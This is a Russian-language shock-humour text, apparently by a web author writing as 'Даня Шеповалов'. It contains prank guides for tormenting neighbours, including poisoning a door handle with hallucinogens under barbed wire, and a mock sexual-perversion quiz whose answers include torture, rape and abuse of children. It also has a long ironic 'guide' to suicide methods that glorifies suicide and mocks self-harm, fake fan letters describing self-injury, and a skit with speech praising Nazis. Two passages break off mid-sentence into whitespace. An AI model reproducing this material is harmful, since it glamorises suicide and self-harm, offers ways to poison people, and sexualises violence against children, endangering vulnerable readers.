перебежками от одного дома к другому и сжимая в руках громадный окровавленный тесак.

Кащенко онлайн

Для начала раздевайся до гола и цепляй к члену маленький колокольчик, на котором повязан аккуратный синий бантик. Теперь возьми несколько баллончиков с краской дневного свечения различных цветов и сотвори на своей голове тотальнейший оранжево-фиолетово-розовый дестрой. Одень кокетливый биретик, повяжи вокруг шеи изящный платочек аля смазливый морячок-педераст и нарисуй на груди жирную черную свастику, из концов которой капает кровь. Ну что еще…по-моему образ создан, хотя нет, все-таки твоему новому стилю слегка не хватает законченности: давай-ка повесь на шею небольшой амулет - искусственый член внушительного размера и, пожалуй, закапай глаза какими-нибудь расширяющими зрачки каплями. Ну все, теперь ты готов к труду и обороне: отправляйся в этом виде на лестничную площадку и настойчиво стучись в дверь к ненавистным соседям. Когда тебе откроют - начинай загадочно вращая головой отрешенно водить взглядом по внутренностям квартиры и на все вопросы или реплики соседа с чувством произноси какую-либо из приведенных ниже фраз:
“Я хочу убивать! Убивать! Убивать! Убивать!”
“Бандиты пронюхали, что мне известна формула абсолютного топлива. Будеттт ттрррудно, Ким, пошлешь Говоррруна.”
“Это заговор - меня хочет изнасиловать маленький зеленый слоник Ножиклидабу. Он живет в твоей голове! Дай же скорее мне его вырезать!”
“Алиса…мелафон у меня! Мои мысли теряются в своих собственных смыслах. Соси, детка, cоси!”, - после этой фразы необходимо загадочно сунуть себе в рот фаллоимитатор.
“Эни бени харе рама турбо урбо супермен! Зовите меня просто: Мистер Дельтаплан!”

Месть Вуду

Крайне простой в реализации способ, требующий однако наличия у тебя всех ингридиентов для приготовления зелья вуду (рыба фугу, галлюциногенные жабы, морской червь итд). Если вся эта отрава у тебя имеется - отлично, смешивай все в нужных пропорциях, руководствуясь пыльными старинными манускриптами. Если же нет - напрягай знакомого безбашенного врача, который снабдит тебя каким-нибудь дешевым но мощным психотропным зельем. Ну на крайний случай можешь концентрированный отвар из мухоморов заюзать. Затем, в лучших традициях колдунов вуду тебе необходимо густо смазать ручку соседской двери этой колдовской дрянью и незаметно прикрепить поверх небольшой кусок колючей проволки с целью незамедлительного попадания галлюциногенных жаб в кровь, а затем мозг объекта. Когда твой сосед вернется с работы и, схватив ручку двери, тут же вскрикнет и обматерит ублюдских подростков - можешь смело залиться дьявольским хохотом и, потирая мерзкие ручонки, уставиться на часы: тебе теперь необходимо выждать час-полтора. Ок, срок истек, твой сосед теперь находится в помутившемся сознании на грани совместимого с жизнью состояния: смело трезвонь ему в дверь, а когда он ее откроет….Да ты сам знаешь, что делать, когда он ее откроет: расскажи ему о прелестях полета с четрынадцатого этажа; о червях-паразитах, которые живут в глазах; о кухонном топорике, которым очень хорошо размозжить самому себе череп; о…ну чего я тебя вообще учу. На суде же, когда тебе будут выносить смертный приговор, можешь смело заявить: “Он сам виноват - нечего было мне спать не давать!”

продолжение про даню
   Я бы, наверное, немерянно космокредов платил тому человеку, который вместо меня ходил бы отливать по утрам. А то достало уже: только во сне пристроишься сзади к осли…тоесть к Дэвиду Коп…да что ты будешь делать, я говорю только к Бритни Спирс пристроишься сзади во сне и вдруг надо срочно просыпаться и ползти в туалет. Да и вообще трудное это дело, спросонья после дикой оргии пытаться облегчить свой организм. Вот сегодня, например, я как планировал: пойти отлить в туалет, а заодно заглянуть на кухню и выкинуть пустую банку из-под спрайта в мусорное ведро. В результате же я выкинул банку в толчок, а отлил в ведро. Ну куда это годится?

Кстати, сейчас спускался в магазин "24 часа" за…ммм…ладно, не важно за чем. Главное, что там на витрине лежат презервативы с ценником, на котором написано: "ПРЕЗИКИ - 25р". Я еще подумал "Вот, Даня, ты наконец-то и поехал крышей по настоящему, добро пожаловать в шизофрению". Оказалось нет - реально такой ценник. Ну я сразу обрадовался, решил что продавщица нестандартно мыслящая и нереально прогрессивная, говорю ей: "давай может за прилавком перепихнемся по быстрому!". А она чего-то покраснела вся да как заоорет: "А ну пошел вон отсюда, электроник недоделанный!!!". Да какое она право имеет так меня называть? Мало ли что я c клавиатурой в обнимку пришел - может у меня несчастье какое. Вот был бы я гинотизером, так совсем другая жизнь бы началась. Я бы просто посмотрел этой чиксе в глаза и тихо произнес: "Вы спокойны, чувствуется легкая сонливость, вы закрываете глаза и остается только мой голос…мой голос…теперь вы медленно расстегиваете товарищу гипнотизеру ширинку, надеваете презерватив и начинаете ласково делать минет". Аааа, стоп, не читайте! Это я чего-то размечтался вслух.

А все дело в том, что сегодня мега-знаментельный день. Выходит в свет третья и заключительная часть сиквела "Эрегированный Космос". Как хорошо известно большинству читателей, это самый нездоровый тест на проверку сексуальной извращенности. Лишь сирые и убогие обыватели обходятся обычными половыми сношениями с регулярностью раз в две недели. Для настоящих же людей с большой буквы, мастурбация - это религия, так называемые извращения - стиль жизни, а садомазохизм - гражданская позиция. Пройди же и ты последнюю часть теста и узнай, дано ли тебе слиться в бесконечном трансцендентальном оргазме с Эрегированным Космосом или твой удел - всего лишь жалкое существование в мире забитых тупой моралью и социальными предрассудками человеческих существ.

Электро-прохладительный эрегированный тест:

(Выбери вариант ответа на каждый из приведенных вопросов и сложи вместе числа, стоящие перед этими вариантами.)

Какие ассоциации приходят в твою голову, когда ты ешь толстую скользкую сардельку?

1. Никаких.
2. Эээ…никаких.
3. Ээээ…ГЫ-ГЫ-ГЫ….никаких.
4. Ну и ублюдок же ты, Даня!

Что тебе снилось сегодня ночью?

1. Мне снилось, будто я улетел в прекрасную сказочную страну и встретил там очаровательную девушку. Мы поженились и стали жить вместе около чудесного озера. Через год у нас роди                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ну на сверхзвуковом бомбардировщике и залил ее всю напалмом. Приземлился я около дымящейся зловонной котловины, которая когда-то была чудесным озером. Там я нашел трупы Дарта Вейдера, прекрасной девушки и летающей головы лохнесского чудовища, и тут же мерзко и извращенно надругался над ними. Затем я отправился по дороге, вымощенной желтым кирпичом, в Изумрудный Город, надеясь застать там Элли с Тотошкой и вступить с ними в нестандартную половую связь.
4. Мне снилось, что я - Даня Шеповалов. А когда я проснулся, то с ужасом понял, что так оно и есть.

Кто такой Даня Шеповалов?

1. Не знаю.
2. Не знаю и знать не хочу.
3. Моральный урод, шизофреник и графоманствующий педонекрозоофил.
4. Вирус, занесенный на Землю из клоаки космоса.
5. Выживший из ума на почве спермотоксикоза юноша.

Назови самое захватывающее сексуальное переживание в твоей жизни:

1. Однажды я трогал девушку за грудь.
2. В пять лет я просмотрел справочное пособие по генекологии, нашел там фотографию женских половых органов и потом целый день олицетворял собой заводную игрушку "Блевунчик".
3. Как-то раз я измерял штангенциркулем длину и ширину своего члена, предварительно помастурбировав на фотографию Юрия Гагарина, и в этот самый момент в комнату зашла моя сестра.
4. Однажды меня укусила в член змея, но я не растерялся, сломал себе два нижних ребра и хорошенько согнувшись, отсосал кровь из ранки. C тех пор я не трачу свое время и деньги на девушек.
5. Был я как-то раз в зоопарке…

Каким по счету и с какого конца ты бы хотел находиться среди голубых, которые трахаются "паравозиком"?

1. Последним - тогда я буду трахать всех
2. Первым - тогда меня все будут трахать
3. Вторым с начала - тогда у меня будут свободны руки, чтобы мастурбировать первому.

Кто был твоим первым сексуальным партнером?

1. Наташа (Аня/Петя/Вася/Каролина)
2. Не помню
3. Искусственная вагина
4. Богдан Титомир
5. Труп инопланетянина, который я нашел в обломках космического корабля рядом со своим домом. Он был весь синий, беззубый, от него страшно несло мочой, а еще он держал в руках полупустую бутылку водки.

Твоя излюбленная сексуальная фантазия:

1. Как декан сделает мне минет на глазах у всего университета.
2. Как меня клонируют, мой клон изменяет пол, и мы трахаемся. Тоесть по сути я физически займусь сексом сам с собой. Однако меня крайне тревожит такая мысль, что я вполне могу сам себе не дать.
3. Как Кристина Агилера, Моби, Стинг, Лена Зосимова, Фэтбой Слим и группа Тату выстраиваются в живую очередь передо мной и громогласно скандируют: "Мы хотим твой член!" Я выжидаю некоторое время, затем отрезаю свой пенис острым лезвием, протягиваю его Моби и говорю: "Держите, уговорили…".

В какую штанину ты обычно заправляешь свой пенис?

1. В левую
2. В правую
3. Я, между прочим, вообще-то девушка
4. Мой пенис всегда находится в эрегированном состоянии, а поэтому я его прикручиваю проволокой к поясу.
5. Свой член я всегда остегиваю и кладу в специальный кармашек на груди

Представь, что тебе поручили написать эротическо-фантастический роман. В чем будет заключаться его сюжет?

1. Космический рейнджер Майк Гибсон спасает девушку из лап мерзких пиратов, обитающих в поясе Ориона. Они влюбляются друг в друга и живут вместе долго и счастливо.
2. Десять тысяч человек случайно попадают в пространственно-временной портал и оказываются через 200 лет в будущем. Причем в это время на Земле действует диктатура единого мирового правительства, которое с целью избежания перенаселения поощрает гомосексуальные контакты и осуществляет дезинтеграцию личностей партнеров в наказание за сексуальную близость между мужчиной и женщиной.
3. Биомеханические насекомые высаживаются на планету и насилуют женщин, детей и стариков. Некий герой пытается боротья против них, однако в отместку злобные насекомые начинают насиловать и мужчин. Тогда все мужчины собираются вместе, ловят этого супергероя и образцово-показательно кастрируют, чтобы выслужиться перед инопланетными захватчиками.
4. Всю вселенную наполняет некий биомозг-желе, который питается спермой и насилует 6-месячных детей в животе матери.

Какая по-твоему пытка с применением секса является наиболее эффективной?

1. Медленно тереть головку члена мелкой наждачной бумагой, одновременно отрезая скальпелем по маленькому кусочку от яичек и заставляя жертву их есть.
2. Привязать мужчину голого к дереву и усадить рядом с ним несколько прекрасных обнаженных девушек, которые наперебой будут читать ему вслух эротические рассказы. К пенису же этого перца следует присобачить хитрое устройство, которое по достижении определенного уровня эрекции будет капать челу в правый глаз соляной кислотой.
3. Посадить двух мужчин (желательно приятелей), у которых надо добыть интересующие нас сведения, в закрытый подвал. И поставить условие, что тот, кто первым откусит другому головку члена, получит свободу, проигравшего же подвергнут мучительным пыткам.

Представь, что ты зашел на порно-сервер. Нет, я понимаю, что ты по таким серверам конечно же не ходишь, но просто представь. В таком случае, какой раздел ты посетишь первым делом?

1. Обнаженные девушки.
2. Оральный секс.
3. Групповуха на кладбище.
4. Изнасилование 80-летней учительницы русского языка и литературы отрядом октябрят.
5. День рождения Дэцла в клубе Ночные Волки.

Когда ты был маленьким, кто из кино и мульт-героев тебя больше всего возбуждал?

1. Констанция из "Трех Мушкетеров".
2. Робот Вертер из "Гостьи из будущего".
3. Овчарка из "Ко мне, Мухтар".
4. В меру упитанный мужчина в самом расцвете сил из "Малыш и Карлсон"
5. Гусеница из "Алисы в стране чудес"

Какие слова ты говоришь своему сексуальному партнеру после окончания полового акта?

1. Любимая, это было великолепно!
2. Если ты кому-нибудь расскажешь - я тебя убью!
3. Надо бы закопать это дуру, пока ее не хватились.
4. Аааааа! Ах ты дрянь, а ну разожми челюсти, я сказал!!!

Результаты:

От 1-го до 15-ти баллов: ты обычный перец, каких полно на нашей убогой планете. Тщательно бреешься по утрам, даришь своей девушке цветы на восьмое марта и изредка мастурбируешь на клипы с Бритни Спирс. Через пару лет женишься, отрастишь животик и будешь вести долгую и скучную жизнь законопослушного гражданина. Лучше застрелись прямо сейчас, хоть сэкономишь для потомков нефть, газ и прочие природные ресурсы.

От 16-ти до 35-ти баллов: у тебя нет девушки, денег и будущего. Посмотри правде в глаза: ты лузер и аутсайдер. Именно поэтому ты и проводишь сутки перед монитором, мастурбируя на все, что движется. Но это даже к лучшему. Как раз эта категория людей и дарит человечеству величайших маньяков и самовлюбленных гениев. Мастурбируй как можно чаще - это нехитрое упражнение хорошо развивает нарциссизм и приближает тебя к источнику порочного экстаза. Умереть, сжимая в руках член - смерть, достойная настоящего мужчины.

От 36-ти до 49-ти баллов: ты махагуру сексуальных девиаций и вселенский папа неконтролируемого ментального оргазма. В твоем присутствии о сексе начинают думать все, кто обладает первичными половыми признаками. Ну а конкретно в твоем мозгу присутствует только одна мысль: "ТРАХАТЬСЯ!". Трахаться со всем что движется и не движется, трахаться физически, ментально, астрально, перорально и внутривенно. Ты даже свой член разрезал на две половинки, чтобы удобнее было иметь людей в ноздри. Если тебе повезет умереть во время оргазма, то ты автоматом станешь чистым Эрегированным Космосом. И воплотишься в новую версию Дани Шеповалова, чтобы нести учение о нескончаемой вселенской эрекции в массы.

50 баллов: ты Даня Шеповалов. Тебя сделали на заводе по производству интерактивных сексуально-озабоченных кретинов и больше тут сказать нечего. 50 баллов, придурок, в этом тесте набрать физически невозможно!

А вы знаете, что интереснее всего трахаться в морге? Когда девушка наклонившись опирается руками на катафалк, испачканный слизью от полуразложившегося трупа, а ты…хотя нет, пожалуй не стоит об этом на всю страну.

Ликуйте, дорогие мои любители контролируемого суицида! Интерактивная мразь, Даня Шеповалов вновь обращается к вашей излюбленной теме. Депрессивные модники и прогрессивные анархисты, инфантильные лузеры и прочая элита - все вы найдете то, что искали, в обьятиях Дани, заслуженного ветерана суицидального труда. Однако, к великому сожалению, в последнее время развелось множество подражателей делу Великого Самого. Плаксивые девочки с черными кругами под глазами, сопливые романтики и просто жертвы отсутствия генетического контроля - разве они достойны быть причислены к святейшему лику шизанутых сверхчеловеков:
"Я резала вены семь раз!"
"О, этот жестокий-жестокий мир. Лучше бы мой папа кончил на стенку!"
"Я не могу жить среди этих безчувственных варваров. Их не интересует мой внутренний мир, высокие порывы моей души!"
"Передайте Лене, что я ушел из жизни ради нее!" Друзья мои, это просто слюнтяйство и дешевая рефлексия. Настоящий ниндзя не делает промахов - ему не придется резать вены второй раз. (Резать вены…фу, как это бездарно). Настоящему оби-вану не нужен повод, чтобы повеситься в макдоналдсе, он всегда готов откинуться во имя любой подходящей цели. Например ради принятия закона о принудительной кастрации журналистов. Настоящий джедай принимает решение стать жмуриком не в состоянии аффекта, а в здравом уме и трезвой памяти, когда у него вовсю стоит, а жизнь прекрасна и удивительна.

Ну да ладно, не будем о совершенно очевидных вещах, лучше остановимся подробнее на самой технике мета-экзистенциальных самоубиств. Для начала, о психологической подготовке. Многие ниндзя упускают из виду столь важный момент, как предварительная медитация стиля "Ненависть", что является весьма существенным упущением. В серый пасмурный день, когда вы пришли с улицы промокшим до носков, сядьте на холодном полу в удобную позу и повторяйте про себя "Я - полное ничтожество!". Как показывает практика, для достижения необходимого состояния требуется около 1300 повторений. Очень хорошо так же будет поставить видео с предварительно подготовленным видео-рядом по теме. Например, крупный план личинок мясных мух, ползающих по лягушачей икре сменяется кадрами ритуального убийства беременной девственницы в секте сумасшедших фэнов команды "Нож для фрау Мюллер". А их в свою очередь сменяет живописная сцена, в которой маленький краб ковыряет клешней глаз связанного на берегу окена юноши. Эффект 25-го кадра здесь просто необходим: хорошо себя зарекомендовали слова "Психоз", "Отчаяние", "Боль", "Агония", "Смерть", набранные большими кроваво-красными буквами на сером фоне.. Впрочем, если у вас нет времени для подготовки подобного видео - не огорчайтесь. Вы всегда можете записать в выходные программу "Итоги", после просмотра которой ни один нормальный человек не пожелает больше продолжать свое убогое существование в самой убогой стране на самой убогой планете.

Ну а теперь непосредственно о самих способах сказать "Пока!" разумному человечеству. Кстати, хочу заметить, что особым шиком среди продвинутых ниндзя считается тщательно спланированная провокация, в результате которой организатора отправляет на тот свет разъяренная толпа обывателей. Просто в этом случае на Страшном Суде обвинение в самоубийстве будет уже без мазы, а потому не придется колбасить в аду несколько лишних вечностей.

Способ N 0: День Победы.

Утром 9-го мая тщательно побрейся и сделай у парикмахера аккуратную армейскую стрижку. Очень здорово кстати будет, если у тебя случайно (!) окажется под рукой старая эс-эс-овская форма. Если нет - не беда, выбери какой-нибудь серый полувоенный костюм, тщательно выстирай его, прогладь и пришей на видные места всевозможные знаки отличия: орлов, молнии, стилизованную свастику итд. Так же позаботься о необходимом оборудовании: тебе понадобится табуретка, стерео-центр, кассета с записью различных германских маршей (дойчлен золдатен, ну ты меня понимаешь), большой топор и микрофон. Теперь отправляйся на главную площадь твоего города, где сегодня проходит торжественный парад в честь победы над фашистскими захватчиками. Выбери место поуютнее, встань на табуретку, положи перед ней на видном месте топор, включи бодрый марш, а сам возьми в руки микрофон и начни свою праздничную речь: "Первым делом я хочу почтить минутой молчания память величайшего человека ушедшего столетия - рейхсфюрера эс-эс Генриха Гиммлера!" [минутная пауза] "Никто не забыт! Ничто не забыто! В наших сердцах и по сей день живут великие дела офицеров гестапо, славных сынов своей отчизны. Операторы газовых камер Освенцима, кочегары Бухенвальда - все разумное человечество и по сей день преклоняется перед вашим самоотверженным подвигом. Да здравствует Третий Рей…" Главное - не забудь вовремя наклониться, чтобы удар топора пришелся тебе прямо в основание черепа.

Способ N1: Мания величия.

Наверняка в твоем городе есть пара-тройка мест, где по вечерам тусуются всевозможные прогрессивные персонажи: скины, нацисты, байкеры итд. Тогда достань соответствующий обстановке прикид (шуба, массивная золотая цепь, зеленые кожаные штаны, стильный дорогой мобильник на видном месте) и отправляйся в этот район на поиски приключений. Да, чуть не забыл, тебе еще понадобится хороший дробовик. Выбери компанию неформалов с самым суровым видом, подойди к их лидеру, ударь его в солнечное сплетение, соверши смачный плевок в лицо и произнеси что-нибудь вроде "Как смеешь ты стоять в моем присутствии? А ну быстро на колени, ублюдок!". Затем выстрели ему в правое колено, вручи в руки дробовик и медленно, картинно убегай оттуда, высоко поднимая ноги и заливаясь гомерическим хохотом.

Способ N2: Медицинский.

На самом деле, физическое насилие над собой - это прошлый век. Сейчас в моде химическое и инфекционное насилие. Отправляйся в путешествие к ближайшей больнице. Обычно в окрестности любой из них находится незабываемая свалка, на которой можно найти все что угодно. Твой праймари обжектив - использованные шприцы. Оперативно введи все их содержимое в свой организм и жди эффекта. Помимо общего заражения крови, ВИЧ и всевозможных гепатитов ты, скорее всего, получишь также массу неизвестных науке заболеваний благодаря успешному сочетанию остатков различных препаратов. Для усиления эффекта можешь съесть несколько десятков всевозможных таблеток и окровавленных, покрытых застывшем гноем тампонов, которые также найдешь на этой свалке. Ну а когда у тебя вытекут глаза, слезет кожа и рассыпятся в кровавую крошку зубы, обратись за помощью в эту же больницу. Не волнуйся, живым ты оттуда не уйдешь.

Способ N3: Новорусский.

Данный способ крайне прост для реализации в столице нашей Родины. Из дополнительного оборудования тебе понадобится тяжелая кувалда, а также небольшая банка концентрированной соляной кислоты. Захвати эти незамысловатые приспособления и направь свои стопы к ультра-дорогому ночному клубу, в котором обитает несметное количество НР. Когда около заведения остановится очередной 600-ый мерседес ручной сборки, подожди пока владелец выползет из него и отойдет на безопасное расстояние. Затем проделай следующие действия: запрыгни на крышу машины, тщательно облей ее кислотой и со всего размаху засади кувалдой по лобовому стеклу. После этого невозмутимо расстегни ширинку и отлей в салон изнасилованного автомобиля через образовавшуюся дырень. Теперь досчитай до десяти и скоропостижно скончайся от многочисленных пулевых ранений.

Способ N4: Рыболовный.

Из экипировки нам потребуется большое количество крючков, тройников и блесен, закрепленных на прочной леске или даже небольшом металлическом тросике. Залезь на стрелу самого высокого подъемного крана в твоем городе (желательно в самом многолюдном районе) и привяжи к ее краю свободный конец лески. Другой же конец (с блеснами и тройниками) аккуратно проглоти, а затем прыгай вниз. В итоге тебя вывернет на изнанку в буквальном смысле этого слова, а проходящих мимо девушек вывернет в переносном.

Способ N5: Тюремный.

Для начала тебе нужно загреметь в тюрьму. Как это лучше сделать - решай сам, тут уж я тебе не советчик. Нам важен результат, чтобы суровый конвоир распахнул дверь душной, переполненной настоящими ублюдками камеры и втолкнул тебя внутрь. После непродолжительной паузы заключенные начнут сыпать шуточками насчет твоего невысокого положения в тюремной иерархии и аппетитности твоей, извиняюсь, попки. Здесь главное не теряться. Сделай грозное лицо, сплюнь на пол и отчетливо произнеси: "Ну чего раскудахтались, петушки?". Я думаю, что даже видавший виды тюремный врач прослезится, взгянув на твой труп.

Способ N6: Спортивный.

Нам опять потребуется леска - этот незаменимый инструмет интергалактических камикадзе. С величайшей тщательностью привяжи один ее конец к своим, еще раз извиняюсь, гениталиям, а конкретнее - к яйцам. Ну а другой конец - к красивому спортивному автомобилю. Затем подожди, когда придет владелец машины, заведет ее и тронется с места. Ну а теперь беги за ним следом. В этом случае ты умрешь от истощения. Или не беги - тогда оперативно сдохнешь от потери крови. У тебя всегда есть свобода выбора.

Способ N7: Комбинированный.

А теперь я предлагаю твоему вниманию способ для настоящих мужчин. Тебе понадобится: бледная поганка - 5 штук, мухомор обыкновенный - 5 штук, никотиновая зависимость - 1 штука, грязевой, соляной и серный источник - 1 штука. Для начала надо бросить курить. Тоесть если ты не куришь, следует начать, довести свою дневную норму до 6 пачек, а затем всенепременно бросить. Что у нас начнется, дорогой дружок? Правильно, начнется такооое, что лучше уж бы твой папа стерилизовался в 3-х летнем возрасте. Но не суть. Теперь ты должен отправиться в санаторий для продолжительного курса лечения. Не стоит доверять докторам - лечиться ты будешь сам. Возьми                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                оножных мышц, жажда. На третий день заметное улучшение. Потом желтуха. А на пятый день смерть из-за отказа печени". Тоесть у тебя в запасе целых пять суток зверских пыток. Советую с пользой провести их, гуляя ночью по горам и наслаждаясь ужасающими звуками ночного леса.

Каким же все-таки гениальным достижением человечества является интернет! Интернет - это огромная часть моей жизни. В чатах я общаюсь и узнаю много нового. Скачиваем рефераты. Да, здесь у нас лучше получается. Йо-хо-хо, ублюдки! Да я вас ненавижу всех, дегенератов недоделанных. И донну Зулейку вместе с Хосе Игнасио, и обогреватель "Доброе тепло", и музыку не для чужих ушей в паре с сиськами Авроры. Так, извините, дорогие мои - это я телевизор последнее время слишком много смотрю.

И вообще я о чем говорил-то? А, ну да, интернет! Раньше я получал письма только от сервера статистики моего провайдера. Да и, на самом деле, не всегда им радовался, поскольку обычно подобные сообщения содержали текст вроде "На Вашем счету осталось минус 112$ и в ближайшие дни Вы будете отключены". А потом меня угораздило написать статью "Эрегированный космос". А чуть попозже - "Эрегированный космос - 2 ". Кстати, торжественно признаюсь, название это я не то чтобы спи…а скажем более литературно - позаимствовал. А спи…тоесть позаимствовал я сей лэйбл у некого товарища, который рисовал свастики, подписывал их красивыми названиями и вешал в рамочках на стену. Самая большая фрактальная свастика висела у него на потолке и называлась соответственно "Эрегированный космос и моя любимая девочка Лена, которая сказала, что у меня слишком маленький член" (на самом деле это была даже не картина, а целая инсталляция, поскольку девочка Лена /точнее её части/ висела чуть ниже).

Однако, похоже я опять черезчур отклонился от основной канвы своего повествования. Необычайная моя радость заключается в том, что после выхода этих пресловутых статей, я стал получать множество писем от любящих поклонников. И, знаете, что я понял? Оказывается, в нашей стране полным-полно крайне интересных людей. Ну а чтобы вы разделили мою беспредельную радость, я просто приведу отрывки из писем некоторых читателей:

"Слушай, человек, который пишет такие вещи, может быть только моральным уродом!"

"Мне надоело трахаться с братом и я хочу поизвращаться с тобой любым, еще мне не известным способом. Брат так же изнывает от желания обладать тобой. Позвони нам как можно быстрее!"

"Данечка, я величайший поклонник твоего таланта! Все твои статьи я сканирую, увеличиваю и вешаю на стенку, а потом провожу ночи стоя напротив этой стены на коленях и маструбируя!"

"Дэн, пришли мне свой портрет в полный рост и желательно в обнаженном виде, а я пришлю тебе кусочек своего пальца и инструкцию по применению хладона и других охлаждающих жидкостей в условиях атомной бомбардировки. И еще, дорогой Дэн, я надеюсь, ты научишь меня приемам мастурбации в невесомости и других экстремальных ситуациях. Кстати насчет самоубийства, у меня есть отличный способ: вколоть себе 84 мл. новокаина и когда ты перестанешь чуствовать собственные яйца, надо воткнуть в себя 24 гвоздя, 152 английские булавки и 31 бритвенное лезвие (гвозди чем меньше, тем лучше, втыкать все не слишком глубоко). Жду ответа, а если ты не ответишь, грязный ублюдок, я залью тебе в член расплавленный свинец и посажу на таз со здоровенной крысой."

"И тогда я решил: Ось симметрии сна Не проникнет в квартальный планшет. Утюги гидрохлора взорвутся тогда, Это как дважды два...скажешь нет?"

"После очередной твоей статьи я сделал себе на спине татуировку "!НЕ ЗАБУДУ ШЕПОВАЛОВА!" , одел вишнёвые ритузы, пластиковую каску с красной звездой, в одну руку взял клюшку, а в другую - одноразовую вилку. Ну и конечно самосвал на верёвочке. А потом я решил СДЕЛАТЬ ЭТО: я ворвался в ближайшую аптеку и стал кричать: "Я чукотская девочка, возьмите меня сзади!". Потом я пригрозил аптекарше клюшкой и сказал, чтобы она выкладывала на прилавок все беременные гвозди! Однако я облажался: я совсем забыл про две палочки хрустящего веника!"

"Здравствуйте, Даниил! Мы решили обратиться к вам и только к вам! У каких женщин самые чувствительные соски: у пышно-грудых или плоско-грудых?"

"О приветствую тебя, уважаемый дзен паракама-сутры. О великй просветленый учитель пароноидального суицида, неконтролируемого экстаза и прочего дерьма. Будь любезен скажи, что делать, если девчонка - лесбиянка?"

"Доктор, что мне делать, помогите!!! Основная масса обезъяно-подобных обитателей этой планеты хочет подвергнуть меня инквизиции, они не понимают мою гетеросексуальность, которая выражается в том, что я занимаюсь мастурбацией глядя на картинку с вашим изображением, которую я сам нарисовал в состояние афекта, убивая взрослую самку царевны-лягушки."

" Эрегируйся вечно! О протыкающий насквозь! Ты сейчас последняя надежда, ака титан после гибели Земли. Грозноурчащий Холодильник не смог мне помочь и рекомендовал тебя, как кладезь опороченной мудрости и отца оргазма. Дельце мое проще сношения с ладошкой - мне необходимы адреса, где можно скачать фото с гетероморфной некрофилией, в принципе можно и с гомоморфной"

"Здравствуй, друг Совета Межгалактических Психов, Маньяков и Поклонников творчества З. Фрейда - величайшего психа и извращенца, кавалера Ордена отрезанного фаалоса трансвестита Лены Зосимовой! Пишу я тебе из волосатой клоаки всего земного шара - г. Улан Уде. Очень прошу - забери меня отсюда! Усынови и забери!"

"А еще, дорогой Данечка, дарим тебе японские стишки. Если не знаешь, то это такие, где на рифму следует кончать оранжевой слизью
Обажур, обажур, Дед Василий - некрофил!
Лампочка, лампочка, Член отвис до пяточек.
Канистра, канистра, Мишке сунули вчера."

"Мы с корешами подумали, что тебе надобно секту свою сделать! Секта им. Дани Шеповалова! Ещё мы решили, что тебе памятник при жизни поставить надо! За совращение всего Мира! Памятник будет выполнен полностью из золота. Главным героем его будет многорукий Шеповалов, который всеми руками чего-нибудь делает. Ну и конечно, специально для тебя супер-суицидальный способ. Незаметно положи своей подруге в сумочку кирпич. (лучше всего - урановый). Затем заведи ее "случайно" в тёмный пустынный переулок и в самый подходящий момент незаметно выпусти заранее припасеную крысу. Сделай паузу, а потом скажи тетке, как бы невзначай:"О! Смотри - крыса! Да какая, видно, голодная!". Герла, если она у тебя ещё невыдресированная, начнёт орать:"ПАМАГИТЕ!!!" и "КРЫЫ-СААА!!!" и противно визжать. Тут ты делаешь рожу дауна (не буду учить - у тебя получится) и на полном серъёзе говоришь:"Эта - мая кгыса! Нгавытса? Она кушает кгасивых людей!". Герла, поняв фишку, говорит тебе:"Я всегда знала, что ты - ублюдок!" и со всего размаху "гладит" тебя по морде сумочкой. Ну а если повезло достать урановый кирпич - ты просто счастливчик! Нет ничего приятнее, чем смерть от уранового кирпича!"

Здорово, правда? Однако, есть одна деталь, которая омрачает мою радость - никто у меня не берет….интервью. Вон премногообожаемый Покровский вовсю улыбается со страниц Птюча, члены…ммм…команды в интернете повсюду развешаны. А я? А мне? Но выход есть: нынче я беру интервью у самого себя. Вот так-то! Незамысловато и по-мужски.

Интервью Даниила Шеповалова с Даниилом Шеповаловым: (* см приложение)

Мы договорились встретиться с Самим в небольшом баре на окраине Москвы. Ровно в назначенное время около бара резко остановилась ультра-современная спортивная машина, и из нее неторопливо вышел подтянутый мужчина. Войдя в заведение, он окинул его взглядом своих прищуренных стальных глаз, который заставил затрепетать женщин всех возрастов, находившихся в баре. Его белоснежная куртка с волнующими разрезами резко контрастировала с идеальной смуглой кожей, а сквозь облегающую ткань явственно проступали отчетливые формы тренированного тела. Элегантной походкой мужчина подошел к моему столику.
Х: У вас отличная машина!
САМ: Да, неплохая. Но все-таки черезчур дешевая. Знаете, машина за три миллиона долларов - это не машина. Тут, правда, один концерн предлагает мне супер-автомобиль ручной сборки: над ним сейчас как раз работает Алсу вместе с Энрике Иглэсиасом. Надеюсь, она потянет хотя бы на несколько сотен миллионов. Да, кстати, я в вашем распоряжении только на четверть часа. Уж не обессудьте - потом у меня встреча с султаном Брунея. Эти султаны, они ведь как дети, право.
X: Да-да, конечно, - десятки глаз смотрели в нашу сторону, и я уже был счастлив просто от того, что этот человек не проигнорировал наше предложение дать интервью. - Тогда давайте сразу с места в карьер: многих наших читателей крайне волнует, почему вы до сих пор не повесились на стреле подъемного крана, хотя так долго смаковали эту тему в своих произведениях?
CAM: Да, знаете ли, просто все никак руки не доходят. (смеется) Шучу-шучу, конечно. На самом деле, я не имею права, мой мозг - общечеловеческое достояние.
X: Многие упрекают вас в чрезмерной мании величия. Как вы к этому относитесь?
САМ: Кого упрекают? Меня? По-моему это попросту глупо. Ведь я - человек в золотых доспехах, Вождь Солнца, Повелитель Звезд. Да и Величайший Гуманист Всех Времен и Народов, Трижды Майтрейя Всея Руси, Интергалактический Мета-экзистенциальный Портал, а также Отец Оргазма, если уж об этом речь зашла.
X: Хорошо-хорошо. Тогда давайте начнем с другого конца: кто сейчас входит в состав нашумевшей организации Мировая Термоядерая Война.
САМ: Даниил Шеповалов, Кошка по имени Кошка и компакт-диск "Новинки отечественной порнографии".
X: И чем вы занимаетесь?
САМ: Да всяким, знаете ли, занимаемся… (краснеет)
X: Даниил, некоторые наши читатели с психологическим образованием считают, что у вас серьезные проблемы с женским полом, да и вообще тотальный дестрой в сексуальном развитии. Что вы можете сказать по этому поводу?
САМ: Да, так и есть. Открою вам секрет: до семи лет я вообще был импотентом. Вы только представьте себе! Но уже на четвертом году своей жизни я начал тренироваться в сексуально-озабоченных формах мышления, чтобы добиться эрегированного состояния души и пениса. Знаете, это как со знаменитыми культуристами и бойцами - практически все они в детстве были хилыми, рахитичными мальчиками. И, поверьте мне, я своего добился. В свой седьмой день рождения у меня произошла эрекция, когда я медитировал на подаренную мне черепашку. Правда, я тогда очень испугался и сделал противостолбнячную инъекцию, но это уже мелочи.
